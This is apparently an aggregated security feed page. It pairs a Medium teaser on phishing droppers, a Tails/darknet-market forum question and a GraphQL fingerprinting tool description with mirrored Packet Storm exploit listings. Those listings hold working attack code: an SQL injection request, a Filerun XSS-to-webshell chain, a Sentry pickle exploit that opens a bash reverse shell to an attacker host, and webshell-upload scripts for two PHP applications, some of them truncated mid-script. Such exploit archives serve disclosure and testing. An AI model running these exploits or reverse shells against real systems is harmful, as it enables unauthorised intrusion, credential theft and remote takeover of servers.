Hacking on Medium
Building The Ultimate Fully Undetectable Phishing Dropper


Having finished the Sektor7 Malware Development Essentials and TCM Security’s Practical Phishing Assessments course, I wanted to build out…

Continue reading on Medium »

Deep Web
Booting TAILS using a HP v212w Flash Drive USB Stick (2.0 USB)

Hello, I'm new....

I've recently brought myself a HP v212w Flash Drive USB Stick and I'm tempted of using it specifically for booting TAILS onto my laptop only and I was wondering whether this specific USB stick would work for this intended use.

The reason on why I am asking this is because on the DNM Bible it states that some USBs are problematic for booting TAILS and provides a list but I can't access that list because the DNM subreddit was banned.

submitted by /u/7Leviathan7
[link] [comments]

Kali Linux TutorialsGraphw00F : GraphQL fingerprinting tool for GQL endpoints
Graphw00F (inspired by wafw00f) is the GraphQL fingerprinting tool for GQL endpoints, it sends a mix of benign and malformed queries to determine the GraphQL engine running behind the scenes. graphw00f will provide insights into what security defences each technology provides out of the box, and whether they are on or off by default.

Specially crafted queries cause different GraphQL server implementations to respond uniquely to queries, mutations and subscriptions, this makes it trivial to fingerprint the backend engine and distinguish between the various GraphQL implementations. (CWE: CWE-200)

Detections

graphw00f currently attempts to discover the following GraphQL engines:

* Graphene – Python
* Ariadne – Python
* Apollo – TypeScript
* graphql-go – Go
* gqlgen – Go
* WPGraphQL – PHP
* GraphQL API for WordPress – PHP
* Ruby – GraphQL
* graphql-php – PHP
* Hasura – Haskell
* HyperGraphQL – Java
* graphql-java – Java
* Juniper – Rust
* Sangria – Scala
* Flutter – Dart
* Diana.jl – Julia
* Strawberry – Python
* Tartiflette – Python

GraphQL Technologies Defence Matrices

Each fingerprinted technology (e.g. Graphene, Ariadne, …) has an associated document (example for graphene) which covers the security defence mechanisms the specific technology supports to give a better idea how the implementation may be attacked.
Field SuggestionsQuery Depth LimitQuery Cost AnalysisAutomatic Persisted QueriesIntrospectionDebug ModeBatch RequestsOn by DefaultNo SupportNo SupportNo SupportEnabled by DefaultN/AOff by Default
Prerequisites

* python3
* requests

Installation

Clone Repository

git clone git@github.com:dolevf/graphw00f.git

Run graphw00f

python3 main.py -h

Usage: main.py -h
Options:
-h, –help show this help message and exit
-r, –noredirect Do not follow redirections given by 3xx responses
-t URL, –target=URL target url with the path
-o OUTPUT_FILE, –output-file=OUTPUT_FILE
Output results to a file (CSV)
-l, –list List all GraphQL technologies graphw00f is able to
detect
-v, –version Print out the current version and exit.

Example

python3 main.py -t http://127.0.0.1:5000/graphql
+——————-+
| graphw00f |
+——————-+
*** ***
** ***
** **
+————–+ +————–+
| Node X | | Node Y |
+————–+ +————–+
*** ***
** **
** **
+————+
| Node Z |
+————+
graphw00f – v1.0.0
The fingerprinting tool for GraphQL
[] Checking if GraphQL is available at https://demo.hypergraphql.org:8484/graphql… [] Found GraphQL…
[] Attempting to fingerprint… [] Discovered GraphQL Engine: (HyperGraphQL)
[!] Attack Surface Matrix: https://github.com/dolevf/graphw00f/blob/main/docs/hypergraphql.md
[!] Technologies: Java
[!] Homepage: https://www.hypergraphql.org
[*] Completed.


Download

Exploit Collector
Cloudron 6.2 Cross Site Scripting


Cloudron version 6.2 suffers from a cross site scripting vulnerability.

MD5 | 04e5263b2aba1564e3b29ea91dd03411

Download



# Exploit Title: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected)
# Date: 10.06.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://cloudron.io
# Software Link: https://www.cloudron.io/get.html
# Version: 6.3 >
# CVE : CVE-2021-40868


Proof of Concept:

1. Go to https://localhost/login.html?returnTo=
2. Type your payload after returnTo=
3. Fill in the login information and press the sign in button.




Source:packetstormsecurity.com

Exploit CollectorSimple Attendance System 1.0 SQL Injection


Simple Attendance System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 62a8cbbf17593175cd123e2b14cd74ef

Download



# Exploit Title: Simple Attendance System 1.0 - Unauthenticated Blind SQLi
# Exploit Author: ()t/\/\1
# Date: September 21, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Tested on: Linux
# Version: v1.0

# Exploit Description:
The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'employee_code' POST parameter in 'http://127.0.0.1//attendance/Actions.php?a=save_attendance' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.


# PoC request

POST /attendance/Actions.php?a=save_attendance HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/attendance/attendance.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 138
Connection: close
Cookie: PHPSESSID=11c4e96bb334b51540f4758e9d33885d


employee_code=2d'+OR+SUBSTR((select+user_id+from+user_list+where+username="admin"),1,1)="1"--&att_type_id=1&date_created=&att_type=Time+In



Source:packetstormsecurity.com

Exploit CollectorTotalAV 5.15.69 Unquoted Service Path


TotalAV version 5.15.69 suffers from an unquoted service path vulnerability.

MD5 | f60e46c8d3377f891ee188835e438cd2

Download



# Exploit Title: TotalAV - Unquoted Service Path
# Date: 2021-09-22
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.totalav.com
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
# Version: 5.15.69
# Tested on: Windows 10 Pro 20H2 and 21H1 x64
# CVE: CVE-2021-35313

The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible
to place executable(s) following the path of the unquoted string.

Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:

PC Security Management Service SecurityService C:\Program Files (x86)\TotalAV\SecurityService.exe Auto
PC Security Management Monitoring Service SecurityServiceMonitor C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor Auto
Anti-Malware SDK Protected Service AMSProtectedService C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe Auto

C:\Users\user>sc qc SecurityService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc SecurityServiceMonitor
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SecurityServiceMonitor
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Monitoring Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc AMSProtectedService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: AMSProtectedService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : Anti-Malware SDK Protected Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem





Source:packetstormsecurity.com

Exploit Collector
Filerun 2021.03.26 Remote Code Execution


https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
Filerun version 2021.03.26 authenticated remote code execution exploit.

MD5 | f9ac55e431c2a7f0daa0eb4d6922bea0

Download
# Exploit Title: Filerun 2021.03.26 - Remote Code Execution (RCE) (Authenticated)
# Date: 09/21/2021
# Exploit Author: syntegris information solutions GmbH
# Credits: Christian P.
# Vendor Homepage: https://filerun.com
# Software Link: https://f.afian.se/wl/?id=SkPwYC8dOcMIDWohmyjOqAgdqhRqCZ3X&fmode=download&recipient=d3d3LmZpbGVydW4uY29t
# Version: 2021.03.26
# Tested on: official docker image
# PoC for exploiting a chain of a stored XSS and authenticated Remote Code Execution
import requests
import time
import sys

# this is the plain version of the payload below
"""
var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel&section=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php' > shell.php #";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
if (xmlhttp.status == 200) {
console.log(xmlhttp.responseText);
}
}
};
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"+payload);
"""

if not len(sys.argv) == 2:
print("missing target url")
sys.exit(1)

target = sys.argv[1]
def inject_code():
payload = "var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel&section=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php' > shell.php #";

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
if (xmlhttp.status == 200) {
console.log(xmlhttp.responseText);
}
else if (xmlhttp.status == 400) {
alert('There was an error 400');
}
else {
alert('something else other than 200 was returned');
}
}
};

xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"
req = requests.post(
"%s/?module=fileman&page=login&action=login" % target,
data={'username': 'nonexistend', 'password': 'wrong', 'otp':'',
'two_step_secret':'','language':''}, headers={'X-Forwarded-For': '/asdasdasd ' % payload}
)
def check_shell_exists():
req = requests.get("%s/shell.php" % target)
if req.status_code != 200:
return False
return True

def process_command(command):
req = requests.get("%s/shell.php?cmd=%s" % (target, command))
print(req.text)

while True:
print("Injecting new log message...")
inject_code()
time.sleep(10)
if check_shell_exists():
print("Shell exists under '%s/shell.php?cmd=ls'" % target)
break
print("Lets get autoconfig.php which contains database credentials...")
process_command("cp system/data/autocon[...]

Exploit CollectorSentry 8.2.0 Remote Code Execution


Sentry version 8.2.0 suffers from a remote code execution vulnerability.

MD5 | 7ab59d06aee52c87e42e7da434c4a24b

Download



# Exploit Title: Sentry 8.2.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 22/09/2021
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vulnerability Discovered By : Clement Berthaux (SYNACKTIV)
# Software Link: https://sentry.io/welcome/
# Advisory: https://doc.lagout.org/Others/synacktiv_advisory_sentry_pickle.pdf
# Tested on: Sentry 8.0.0
# Fixed Versions : 8.1.4 , 8.2.2
# NOTE : Only exploitable by a user with Superuser privileges.
# Example Usage : https://imgur.com/a/4w5rH5s

import requests
import re
import warnings
from bs4 import BeautifulSoup
import sys
import base64
import urllib
import argparse
import os
import time
from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split
from datetime import datetime



parser = argparse.ArgumentParser(description='Sentry < 8.2.2 Authenticated RCE')
parser.add_argument('-U',help='Sentry Admin Username / Email')
parser.add_argument('-P',help='Sentry Admin Password')
parser.add_argument('-l',help='Rev Shell LHOST')
parser.add_argument('-p',help='Rev Shell LPORT ',type=int)
parser.add_argument('--url',help='Sentry Login URL ')
args = parser.parse_args()


username = args.U
password = args.P
lhost = args.l
lport = args.p
sentry_url = args.url



# Generate Payload


class PickleExploit(object):
def __init__(self, command_line):
self.args = split(command_line)
def __reduce__(self):
return (subprocess.Popen, (self.args,))
rev_shell = '/bin/bash -c "bash -i >& /dev/tcp/%s/%s 0>&1"' %(lhost,lport)
payload = b64encode(compress(dumps(PickleExploit(rev_shell))))

print("\r\n[+] Using Bash Reverse Shell : %s" %(rev_shell))
print("[+] Encoded Payload : %s" %(payload))




# Perform Exploitation

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
request = requests.Session()
print("[+] Retrieving CSRF token to submit the login form")
print("[+] URL : %s" %(sentry_url))
time.sleep(1)
page = request.get(sentry_url)
html_content = page.text
soup = BeautifulSoup(html_content,features="lxml")
token = soup.findAll('input')[0].get("value")


print("[+] CSRF Token : "+token)
time.sleep(1)

#Login

proxies = {
"http" : "http://127.0.0.1:8080",
"https" : "https://127.0.0.1:8080",
}

login_info ={
"csrfmiddlewaretoken": token,
"op": "login",
"username": username,
"password": password
}


login_request = request.post(sentry_url,login_info)


if login_request.status_code==200:
print("[+] Login Successful")
time.sleep(1)

else:

print("Login Failed")
print(" ")
sys.exit()


#get admin page
split_url = sentry_url.split("/")[2:]
main_url = "http://"+split_url[0]
audit_url = main_url+"/admin/sentry/auditlogentry/add/"

#request auditpage


date = datetime.today().strftime('%Y-%m-%d')
time = datetime.today().strftime('%H:%M:%S')


exploit_fields = {

"csrfmiddlewaretoken" : request.cookies['csrf'],
"organization" : "1",
"actor_label" : "root@localhost",
"actor" : "1",
"actor_key" : " ",
"target_object" : "2",
"target_user" : " ",
"event" : "31",
"ip_address" : "127.0.0.1",
"data" : payload,
"datetime_0" : date,
"datetime_1" : time,
"initial-datetime_0" : date,
"initial-datetime_1" : time,
"_save" : "Save"
}

print("[+] W00t W00t Sending Shell :) !!!")
stager = request.post(audit_url,exploit_fields)

if stager.status_code==200:
print("[+] Check nc listener!")
else:
print("Something Went Wrong or Not Vulnerable :(")




Source:packetstormsecurity.com

Exploit Collector
South Gate Inn Online Reservation System 1.0 Shell Upload / SQL Injection


https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
South Gate Inn Online Reservation System version 1.0 suffers from a remote SQL injection vulnerability that allows for a shell upload.

MD5 | 69fa9931e645aa63507e752a01212b6b

Download
# Exploit Title: South Gate Inn Online Reservation System v1.0 - Remote Code Execution
# Date: 21.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/10584/south-gate-inn-online-reservation-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/southgateinn.zip
# Version: 1.0
# Tested On: Ubuntu 18.04,Windows 10 + XAMPP 7.4
# Description: The South Gate Inn Online Reservation System suffers from an SQLi authentication bypass which leads to Admin access on the application. From there it's possible to upload a malicious PHP file to the server by changing a Room Image (getimagesize bypass). Both SQL queries and file validations are not handled properly, which leaves the Webserver in a vulnerable state.

import requests, sys
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '

ASCII_ART = """

_.---._ /\\
./' "--`\//
./ o \
/./\ )______ \__ \
./ / /\ \ | \ \ \ \
/ / \ \ | |\ \ \7
" " " "
SouthGateInn RCE v1.0 Janik Wehrli
"""

# Set variables
print(ASCII_ART)
SERVER_URL = str(
input("Type in your SouthGateInn System v1.0 Location e.g http://192.168.20.20/southgateinn/SouthGateInn: \n"))
LOGIN_URL = SERVER_URL + '/admin/login.php'
UPLOAD_URL = SERVER_URL + "/admin/mod_room/controller.php?action=editimage"
PWN_URL = SERVER_URL + "/admin/mod_room/rooms/"
USERNAME = "'OR 1=1#"
PASSWORD = "PWNED"
WEBSHELL_NAME = "pwn.php"

# Uncomment the bottom line to run the exploit through a proxy such as burp
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# Create a simple web session with python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(LOGIN_URL, verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok + 'Successfully connected to SouthGateInn System v1.0 server & created session.')
print(info + "Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print[...]

Exploit Collector
Online Reviewer System 1.0 Shell Upload


https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Online Reviewer System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | ae34b4deb334f94e046ad7ea3919c2b1

Download
# Exploit Title: Online Reviewer System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/reviewer_0.zip
# Version: 1.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Reviewer System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 ORS_v1.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/reviewer/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Online Reviewer System 1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/system/system/admins/assessments/databank/files/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')[...]